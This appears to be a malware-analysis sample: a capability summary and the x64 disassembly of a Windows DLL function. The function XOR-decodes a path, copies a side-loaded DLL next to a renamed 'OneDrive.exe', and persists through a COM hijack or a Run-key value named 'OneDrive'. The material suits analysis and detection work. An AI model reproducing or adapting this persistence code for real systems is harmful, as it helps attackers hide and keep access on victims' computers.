Function at 0x1800015f0
Capabilities:
Copy file
Encode data using xor
Get session user name
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push rbp
sub rsp, 0xe20
lea rbp, [rsp + 0x40]
mov qword [rbp + 0xdf0], rbx
mov qword [rbp + 0xdf8], rsi
mov qword [rbp + 0xe00], rdi
mov qword [rbp + 0xe08], r14
mov rax, qword [0x180020008]
xor rax, rbp
mov qword [rbp + 0xdd0], rax
mov ebx, ecx
xor edx, edx
lea rcx, [rbp + 0x60]
mov r8d, 0x208
call fcn.180003b80
xor edx, edx
lea rcx, [rbp + 0x7a0]
mov r8d, 0x208
call fcn.180003b80
xor edx, edx
lea rcx, [rbp + 0xbc0]
mov r8d, 0x208
call fcn.180003b80
xor edx, edx
lea rcx, [rbp + 0x270]
mov r8d, 0x208
call fcn.180003b80
xor edx, edx
lea rcx, [rbp + 0x590]
mov r8d, 0x208
call fcn.180003b80
xor edx, edx
lea rcx, [rbp + 0x9b0]
mov r8d, 0x208
call fcn.180003b80
mov rcx, qword [0x1800221a0]
lea rdx, [rbp + 0x60]
mov r8d, 0x208
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x60]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
movdqa xmm0, xmmword [0x18001dd80]
lea rax, [rbp + 0x20]
movdqa xmm1, xmmword [0x18001dd70]
xor edi, edi
movdqa xmm2, xmmword [0x18001ddb0]
mov ecx, edi
movdqu xmmword [rbp + 0x10], xmm0
movdqa xmm0, xmmword [0x18001dd60]
movdqu xmmword [rbp + 0x30], xmm0
movdqa xmm0, xmmword [0x18001dda0]
movdqu xmmword [rbp + 0x20], xmm1
movdqa xmm1, xmmword [0x18001dd50]
movdqu xmmword [rbp + 0x50], xmm0
movdqu xmmword [rbp + 0x40], xmm1
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add ecx, 0x40
lea rax, [rax + 0x40]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x20]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
cmp ecx, 0x40
jb 0x180001720
cmp ecx, 0x50
jae 0x18000178e
movsxd rax, ecx
lea rdx, [rbp + 0x10]
add rdx, rax
nop dword [rax + rax]
xor byte [rdx], 0xe5
lea rdx, [rdx + 1]
inc ecx
cmp ecx, 0x50
jb 0x180001780
mov r8d, 0x104
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r8d, 0x104
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r8d, 0x104
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov rcx, rdi
nop word [rax + rax]
movzx eax, word [rbp + rcx + 0x60]
mov word [rbp + rcx + 0xbc0], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x1800017e0
mov rcx, rdi
nop dword [rax]
movzx eax, word [rbp + rcx + 0x60]
mov word [rbp + rcx + 0x7a0], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x180001800
lea rdx, [0x18001da10]
lea rcx, [rbp + 0xbc0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.data.dat
lea rcx, [rbp + 0x9b0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x18001da40]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x18001da60]
lea rcx, [rbp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.epdevmgr.dll
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.OneDrive.exe
lea rcx, [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r9, [rbp + 0xbc0]
lea r8, [rbp + 0x7a0]
lea rdx, [rbp + 0x60]
lea rcx, str.crt_dll:_s_exe:_s_dat:_s_r_n
call fcn.180001280
lea r9, [rbp + 0x9b0]
lea r8, [rbp + 0x590]
lea rdx, [rbp + 0x270]
lea rcx, str.dst_dll:_s_exe:_s_dat:_s_r_n
call fcn.180001280
xor r8d, r8d
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x180001902
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, [rbp + 0x270]
lea rdx, [rbp + 0x60]
lea rcx, str.Copy__s_to__s_error___d
call fcn.180001280
xor r8d, r8d
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x180001940
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, [rbp + 0x590]
lea rdx, [rbp + 0x7a0]
lea rcx, str.Copy__s_to__s_error___d
call fcn.180001280
xor r8d, r8d
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0xbc0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x18000197e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, [rbp + 0x9b0]
lea rdx, [rbp + 0xbc0]
lea rcx, str.Copy__s_to__s_error___d
call fcn.180001280
test ebx, ebx
jne 0x180001bfc
xor edx, edx
lea rcx, [rbp + 0x480]
mov r8d, 0x104
call fcn.180003b80
lea rdx, [rbp + 4]
mov dword [rbp + 4], 0x104
lea rcx, [rbp + 0x480]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, str.system
lea rcx, [rbp + 0x480]
call fcn.18000784c
test eax, eax
je 0x180001a9e
lea rdx, str.administrator
lea rcx, [rbp + 0x480]
call fcn.18000784c
test eax, eax
je 0x180001a9e
lea rdx, [rbp + 0x270]
lea rcx, str.HijackdllSet_COM_Startup_with__s
call fcn.180001280
mov rbx, 0xffffffffffffffff
lea rcx, [rbp + 0x270]
mov rax, rbx
nop dword [rax]
inc rax
cmp word [rcx + rax*2], di
jne 0x180001a10
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x180001a91
cdqe
lea rax, [rax*2 + 2]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x180001a41
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.180014170
sub rsp, rcx
lea rsi, [rsp + 0x40]
test rsi, rsi
je 0x180001a91
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], rdi
xor edx, edx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x270]
mov r9d, ebx
mov byte [rsi], dil
mov qword [rsp + 0x20], rsi
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rsi, rdi
mov rdi, rsi
mov rcx, rdi
call fcn.1800027a0
jmp 0x180001bfc
lea rcx, str.HijackdllSet_run_Startup
call fcn.180001280
mov rbx, 0xffffffffffffffff
lea rcx, [rbp + 0x590]
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], di
jne 0x180001ac0
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x180001b40
cdqe
lea rax, [rax*2 + 2]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x180001af1
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.180014170
sub rsp, rcx
lea rsi, [rsp + 0x40]
test rsi, rsi
je 0x180001b40
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], rdi
xor edx, edx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x590]
mov r9d, ebx
mov byte [rsi], dil
mov qword [rsp + 0x20], rsi
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rsi, rdi
jmp 0x180001b43
mov rsi, rdi
lea rcx, [0x18001d800]
mov qword [rbp + 8], rdi
mov r14d, 0x2001b
mov dword [rbp], edi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x18001d7f0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x180001b88
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp]
call rdi
test eax, eax
je 0x180001b95
cmp dword [rbp], 0
mov eax, 0x2011b
cmovne r14d, eax
lea rax, [rbp + 8]
mov r9d, r14d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180001bfc
nop dword [rax]
inc rbx
cmp byte [rsi + rbx], 0
jne 0x180001bc0
mov rcx, qword [rbp + 8]
lea rdx, str.OneDrive
inc ebx
mov r9d, 1
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x180001bfc
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0xdd0]
xor rcx, rbp
call fcn.180002a50
mov rbx, qword [rbp + 0xdf0]
mov rsi, qword [rbp + 0xdf8]
mov rdi, qword [rbp + 0xe00]
mov r14, qword [rbp + 0xe08]
lea rsp, [rbp + 0xde0]
pop rbp
ret